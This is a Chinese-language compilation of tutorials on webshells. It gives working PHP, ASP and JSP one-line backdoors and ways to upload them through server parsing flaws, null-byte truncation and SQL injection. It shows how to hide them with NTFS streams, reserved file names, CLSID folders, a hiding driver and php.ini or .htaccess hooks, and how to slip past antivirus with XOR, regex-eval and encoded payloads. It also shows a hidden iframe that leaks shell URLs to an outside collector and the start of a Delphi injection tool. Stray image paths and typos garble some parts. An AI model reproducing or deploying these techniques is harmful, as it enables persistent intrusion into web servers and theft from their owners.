精华内容
参与话题
问答
  • 个人对于webshell的理解

    千次阅读 2018-06-19 18:39:48
    webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名...

    0x001.前言简介

    webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。
    实际的木马后门控制界面

    0x002.webshell的分类

    a.根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
    b.根据脚本名称分类:jsp、asp、aspx、php
    jsp的简单的webshell:

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>

    asp的简单的webshell:

    success!!!!<%eval request("cmd")%>

    php的简单的webshell:

    <?php
        $a=exec($_GET["input"]);
        echo $a;
    ?>

    0x003.webshell的原理

    1. 可执行脚本
      a.HTTP数据包($_GET$_POST$_COOKIES$_SERVER[args]等)
    2. 数据传递
    3. 执行传递的数据
      a.直接执行(eval、system、passthru等)
      b.文件包含执行(include、require等)
      c.动态函数执行($a="phpinfo";$a();)
      d.Curly Syntax执行(${‘ls’})
      e.preg_replace(第一个参数存在’/e’)
      f.ob_start函数
      g.回调函数(array_map等)
      h.反序列化(unserialize等)

    0x004.webshell常见的类型

    1.php.ini隐藏后门

    auto_prepend file="/tmp/caidao.php"
    auto_append file="/tmp/caidao.php"
    

    这两种都是相当于在php脚本头部include。
    注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。
    2..htaccess构成php后门

    <FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php
    
    SetHandler application/x-httpd-php
    
    </FilesMatch>
     php_flag engine 1
    1、AddHandler(AddHander php5-script .logs)
    2、AddType application/x-httpd-php .png
    3、SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)
    4、php_value auto_append_file /tmp/caidao.php
    

    3.user.ini隐藏后门(不需重启)
    除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

    auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include
    auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include
    

    4.PHP代码开始标志缩写
    将php.ini的short_open_tag参数设为On

    <?=($_=@$_GET[2]).@$_($_GET[1])?>

    5.图片木马

    <?php
        $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));
        $wp__theme_icon();
    ?>

    注:这种方法不允许图片中有非法数据

    0x005.webshell的编写

    1. 执行系统命令函数
      a.exec,shell_exec
      b.passthru,system
      举一个例子:
    <?php
        exec($_GET['input']);
    ?>

    http://localhost/test/exec.php?input=whoami
    这里写图片描述
    2. 执行php语句函数
    a.eval,assert
    b.ob_start
    举例:

    <?php
        $a = $_GET['i1'];
        ob_start($a);
        echo $_GET['i2'];
        ob_end_flush();
    ?>
    

    上传后,利用菜刀连接就行。

    1. 混淆代码
      a.利用注释符 /**/
      b.利用 . 连接号
      c.利用()
      d.编码函数
      举例:
    <?php  
        $b = “a”.“s”.“s”.“e”.“r”.“t”;$b($_GET[‘a’]);     
    ?>
    

    5.免杀shell
    a.php中call_user_func是执行回调函数的标准方法,是一个比较老的后门:

    call_user_func('assert', $_REQUEST['pass']);

    assert直接作为函数使用,然后$_REQUEST[‘pass’]作为assert的参数调用;(php版本低)
    call_user_func_array(‘assert’, array($_REQUEST[‘pass’]));(php版本低)
    b.uksort()函数:通过用户自定义的比较函数对数组按键名进行排序。

    uksort函数的定义
    c.assert()函数:在5.4.8版本之后,增加了参数descript。该参数可回调。bool assert ( mixed $assertion [, string $description ] )

    <?php
        $a = $_REQUEST['a'];
        $arr = array('haha' => 88, $_REQUEST['ok'] => 88);
        uksort($arr, $a);
    ?>
    

    大概的基本上就是这些内容,对于未提及的需要继续加深学习,去了解新的webshell的构造,以及后续的绕过WAF的编写,就这样吧!

    展开全文
  • webshell原理

    万次阅读 2018-09-28 13:08:56
    webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管...

    (源自摘抄整理)
    https://www.91ri.org/11494.html

    Webshell实现与隐藏探究

    一、什么是webshell

    webshell简介

    webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
    webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):

    <form action=http://主机路径/TEXT.asp method=post>
    <textarea name=value cols=120 rows=10 width=45>
    set lP=server.createObject("Adodb.Stream")//建立流对象
    lP.Open //打开
    lP.Type=2 //以文本方式
    lP.CharSet="gb2312" //字体标准
    lP.writetext request("newvalue")
    lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
    lP.Close //关闭对象
    set lP=nothing //释放对象
    response.redirect "newmm.asp" //转向newmm.asp
    </textarea>
    <textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
    </textarea>
    <BR>
    <center>


    <input type=submit value=提交>

    这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
    大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。

    二、如何上传webshell

    1.解析漏洞上传
    现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
    (1)iis目录解析漏洞
    比如:/xx.asp/xx.jpg

    虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
    (2)文件解析漏洞
    比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
    (3)文件名解析
    比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。
    (4)fast-CGI解析漏洞
    在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:

    <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

    这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。

    *注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。
    (5)apache解析漏洞
    apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制
    2.截断上传
    在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
    3.后台数据库备份
    在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。
    4.利用数据库语句上传
    (1) mysql数据库into outfile
    这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
    (2)建立新表写入木马
    一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。
    (3)phpMyadmin设置错误
    phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。

    三、webshell的“安全”

    1.关于webshell的隐藏
    在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。
    (1)大马的隐藏
    ①不死僵尸
    windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件夹保留文件夹:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。但是这些可以使用windows的copy命令创建,比如:

    c:>copy 3.asp \.\C:\aux.asp

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg

    在c盘中创建一个aux.asp。这个文件无法在图像界面下删除。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

    要删除必须使用del命令。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png

    删除了之后是没有提示的,但是文件确实没有了。
    当然用这样的方法虽然可以创建一个图形界面无法删除的webshell,但是如果直接放在网页根目录下,被有经验的网管看到还是回删除的。
    ②clsid隐藏
    windows每一个程序都有一个clsid,如果将一个文件夹命名为x.{程序clsid},然后输入一下两条命令:
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg

    创建后
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png

    点开进入的是控制面板,但是其实该文件还是文件夹,里面还存在大马,而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络管理员的实现,比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹,在里面里面再copy一个保留字asp,还可以使用

    attrib +h +s +r +d/s /d

    修改该文件的属性,将其隐藏,一般windows都是默认不显示隐藏文件的,而且回收站文件夹是自动创建的,这样可以达到隐藏一个不死webshell到服务器中去。

    ③驱动隐藏技术
    原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。
    对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png

    权限的设置有可读accessable,可写writable,可删deletable,可见visible。

    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

    上图可以看到我们将其隐藏了,如前文所说,因为直接绕过了遍历,那么访问绝对路径却可以访问。我的理解是:

    c:\WINDOWS\xlkfs.dat
    c:\WINDOWS\xlkfs.dll
    c:\WINDOWS\xlkfs.ini
    c:\WINDOWS\system32\drivers\xlkfs.sys

    这4个文件代替了遍历查询,要访问隐藏后的文件,输入绝对路径并不是应用绝对路径查询,而是通过上面4个文件进行的查询,相当于给隐藏文件做了一个单独的驱动。

    为了不被管理员发现,可以将Easy FileLocker的程序删除,但是不能删除上述4个文件。删除程序后,输入绝对路径还是可以访问,就达到了隐藏后门的作用
    ④注册表隐藏
    注册表路径:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
    在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把“显示所有文件”也不能显示了。
    (2)一句话木马的隐藏
    ①头文件包含隐藏
    在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。
    asp包含语句:<!–#includefile=”文件路径”–>,直接填入路径,文件路径是web服务器上的路径。
    可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的‘\’改‘:’写入之后图片是显示不了的,然后找到web服务器上的一个asp文件,在文件的开始部分写上include语句,
    <!–#includefile=”inc:1.jpg”–>。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。
    php包含语句:

    <?php include($include);?>

    这里的$include可以是外部路径比如:

    http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
    这个aaa上的1.php内容为

    <?php include($include);?>

    ,表示包含。bbb是外部服务器的,前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php(即一句话马),而aaa不执行。

    ②配置文件隐藏一句话(PHP)
    在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚:
    auto_prepend_file =hehe.php

    然后看
    include_path = “E:\PHPnow-1.5.6\htdocs;”

    这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。
    ③404小马
    404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,一般都是按5次shift可以将它调用出来。
    四、关于webshell的免杀一句话免杀
    1.构造法绕过检测(PHP)
    一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替。
    比如像一下代码

    <?php
    @$++; // 这里++让’’自加1
    $=("#"^"|"); // _
    $
    =("."^"~"); // P
    $=("/"^"`"); // O
    $
    =("|"^"/"); // S
    $__=("{"^"/"); // T
    ?>

    然后构造与一句话可以写为

    <?php @$++;
    $
    =("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值为POST
    @${$
    }!$_;?>

    // 结果为
    @$_POST0

    !$_表示1的相反,在语言里面1代表真,反过来就是0(假)
    但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如

    $__=("#""|").(".""~").("/""`").("|""/").("{"^"/")

    的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

    2.正则表达式代替法(PHP)
    php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

    <?php
    function funfunc($str){}
    echopreg_replace("/<title>(.+?)</title>/ies",'funfunc("\1")', $_POST["cmd"]);
    ?>

    上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>(这里是html里面表示主题)为funfunc,将post表单中的值写成
    <title>{${phpinfo()}}</title>

    (当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成
    funfunc({${phpinfo()}})

    由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。
    3.即时生成法(PHP)
    在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。在访问之前先生成马,但是这个函数比较敏感,很容易被杀。
    4.回避法(asp)
    因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

    <scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>

    功能相同,就是换个形式。
    回避特定脚本语言:aspx一句话

    <script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

    这里使用C#语言写一句话马。
    5.拆分法(asp)
    将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
    还有拆分法加强版:

    <%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
    <%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

    以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。
    6.乱码变形(ANSI->Unicode加密)

    <%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

    eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

    上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

    <%eval (eval(request("brute"))%>

    7.大马免杀
    (1)base4code编码
    大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加

    @eval(gzinflate(base64_decode($code)));

    就可以执行脚本了。其中,$code变量是用来存放base4的code码,执行的时候先gzinflate解压,在eval执行。其实这种不能真正意义上的免杀,以为base4code和eval还是回被列入特征码行列,在过扫描器的时候同样会被杀掉。
    (2)ROT13编码(php)
    str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测,比如。
    file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png

    图中的strrev函数是用来反转字符,为了逃过特征码的检测,还特地将字符用’.’号隔开。
    图中3个str_rot13所加密的字符依次是gzinflate,str_rot13,base64_decode,相当于三重加密,而且也回避了gzinflate,base64_decode这两个特征码。但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。
    ROT13成为回转13,就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。但是由于算法固定,加密的强度也不强。而且破解的方式极为简单,只要再加密一边就可以了。
    (3)其他编码
    一般杀软和扫描器都会用特征码来判断是否有病毒,在对大马或者小马,一句话马做免杀处理的时候,一般都会用php或者asp脚本中加密类的函数来加密绕过扫描器(比如base4,rot13等),但是我觉得可以自己编写加密算法,然后使用自己编写的加密算法加密脚本代码就可以绕过一些特征码的。可以使用一些凯撒密码,移位加密等加密手段的思想,写一段加密算法,然后将脚本代码进行加密,然后base4,rot3这样的特征码就会消失,或者可以不那么麻烦,直接用自制的加密算法加密特征码,然后再使用的时候将其解密就行了。
    还可以使用DES,RSA这样的密钥加密算法也可以,一般的大马都会有一个密码的登陆框,可以讲登陆脚本的密码跟解密密钥联动起来,输入正确的密码后才能够解析,一方面是为了逃过扫描器与杀软的查杀,另一方便,这个大马即使被别人拿到了,也无法解密,看到其中的源码。
    五、关于webshell的后门
    一般网上下载的大马或多或少的都会有后门,这些后门直接导致了我们拿的网站被别人顺带拿走了,所以在网上下载的大马必须先检查有没有后门。
    比如这里的万能密码:

    end function
    if session("hehe")<>userpassthen
    ifrequest.form("pass")<>"" then
    if request.form("pass")=userpassor request.form("pass")="1111111" Then
    session("hehe")=userpasss
    response.redirect url
    else

    这里

    request.form("pass")=userpass

    原本是为了将pass的值进行验证,如果输入的pass值等于userpass的情况,就代表验证成功,但是后面

    orrequest.from(“pass”)=”1111111”

    表示如果输入的pass值为1111111,也可以登录大马。当然,这个地方不可能会这么简单,原作者完全可以把userpass赋值成为两个,添加一个userpass改变的触发条件,在他登录的时候触发这个条件(比如说如果登录失败的时候将触发userpass值的更新),这样就可以添加一个后面,而且触发条件的代码与验证代码分隔的较远,也不好查找,这个时候就需要我们把大马的代码逐行分析。

    然后再用框架挂马:

    <iframe src=后门地址 width=0 height=0></iframe>

    这个地方将链接的地址宽度和高度全设置为0,就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器,最后将收信脚本放到自己搭建的一个公网服务器上面,收信脚本如下:

    <%url=Request.ServerVariables("HTTP_Referer")
      set fs=server.CreateObject("Scripting.FileSystemObject")
      set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
      file.writeline url
      file.close
      set file=nothing
      set fs=nothing
    %>

    其中

    url=Request.ServerVariables("HTTP_Referer")

    表示请求的字符转内容,即大马的url地址,然后把url地址保存到当前目录的hehe.txt。

    要提出这种后门首先必须先要破坏大马第二种密码验证,即万能密码。删除相关的功能代码,然后再查找有没有asp大马页面有没有例如width=0 height=0这样的隐藏url,查找出来将其删除。

    接单之隐藏一句话木马

    一般 我们拿到的shell很容易被发现 或者被删除现在教你们 如何隐藏这是利用NTFS流隐藏你的一句话小马,这方法,文件写入后,不容易给发现,隐藏性好! 如下是ASP脚本的例子!NTFS流文件的内容如下 (NTFS流文件 是什么自己百度科普 还有这个只适用于win系统服务器)
    <%
    re= request("test")
    if re <>"" then
    execute re
    response.end ‘表示结束,不再处理别的代码
    end if
    %>
    把内容写入如下位置(示例位置)H:\Web\动易\Inc:1.jpg

    Paste_Image.png

     

    看清楚,是 :1.jpg 不是 \1.jpg文件写入后,H:\Web\动易\Inc 目录里是看不到文件的!
    现在要引导这个一句话文件!格式:<!-#include file="目录:1.jpg"->
    我随便选一个文件(最好不要自己新建文件,别人容易发现有新文件)H:\Web\动易\Announce.asp

     

    Paste_Image.png


    添加 <!-#include file="inc:1.jpg"->
    修改后保存!
    一句话木马隐藏基本完成!当然 H:\Web\动易\Announce.asp 你可以改个一下修改的时间,这样别人就不容易发现有问题!
    还有说一下,2003的流,是可以写入文件也可以写入目录的!你想把一句话马写在目录里也成,文件里也成但建议保存到目录里,因为文件如果修改,流数据将会清空,但目录不会!用菜刀测试成功!

     

    Paste_Image.png

     

    Paste_Image.png


    Hacker By T.H.E本文来源:http://www.t00ts.net/post-35.html

     

    http://www.jb51.net/hack/5833.html

    一.通过SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数

    一.通过SQL注入得到WEBSHELL的原理:

    N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
    分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
    再来看看CZY的方法吧。 CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
    以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。

    二.利用DELPHI去实现功能的前言

    原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。

    三.如何利用DELPHI得到WEBSHELL。

    程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
    首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
    现在来写程序了。 我们首先定义一个RECORD。 如下:
    Type
    SetOption = Record
    TableName : String; //用来保存要创建的表名.
    FieldName : String; //用来保存要创建的字段名.
    FiledType : String; //用来保存创建的字段名类型.
    End;
    FiledType字段类型的值是以下类型的一种:
    Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar
    这些都是MSSQL字段类型值.
    再定义一个全局变量:
    Var
    ISStop : Boolean; //用来判断用户是否按下了停止按纽.
    好了。在表单创建的过程中,我们为RECORD记录输入默认值.
    代码如下:
    procedure TMainForm.FormCreate(Sender: TObject);
    begin sOption.TableName :=’cyfd’
    sOption.FieldName :=’gmemo’
    sOption.FiledType :=’text’
    end;
    现在我们添加开始执行命令的代码。
    先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
    创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 在程序开始执行前,我们得先检查一下用户的输入
    定义一个Checkinput函数.
    如下:
    Function CheckInput : Boolean;
    Begin Result := False;
    if Trim(urlet.Text) = ’’ then
    Begin
    Application.MessageBox(’请输入URL地址!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    if Trim(ShellPathET.Text) = ’’ then
    Begin
    Application.MessageBox(’请输入文件保存地址!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    IF DefBDoor.Checked then
    Begin
    if Not FileExists(extractfilepath(Application.ExeName) ’默认木马.txt’) then
    Begin
    Application.MessageBox(’没有找到 [默认木马.txt] 文件!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    End
    Else if Not FileExists(CustomBdoorET.Text) then
    Begin
    Application.MessageBox(’没有找到所选的木马文件!’,’提示’,mb_ok mb_iconinformation);
    Exit;
    End;
    Result := True;
    End;

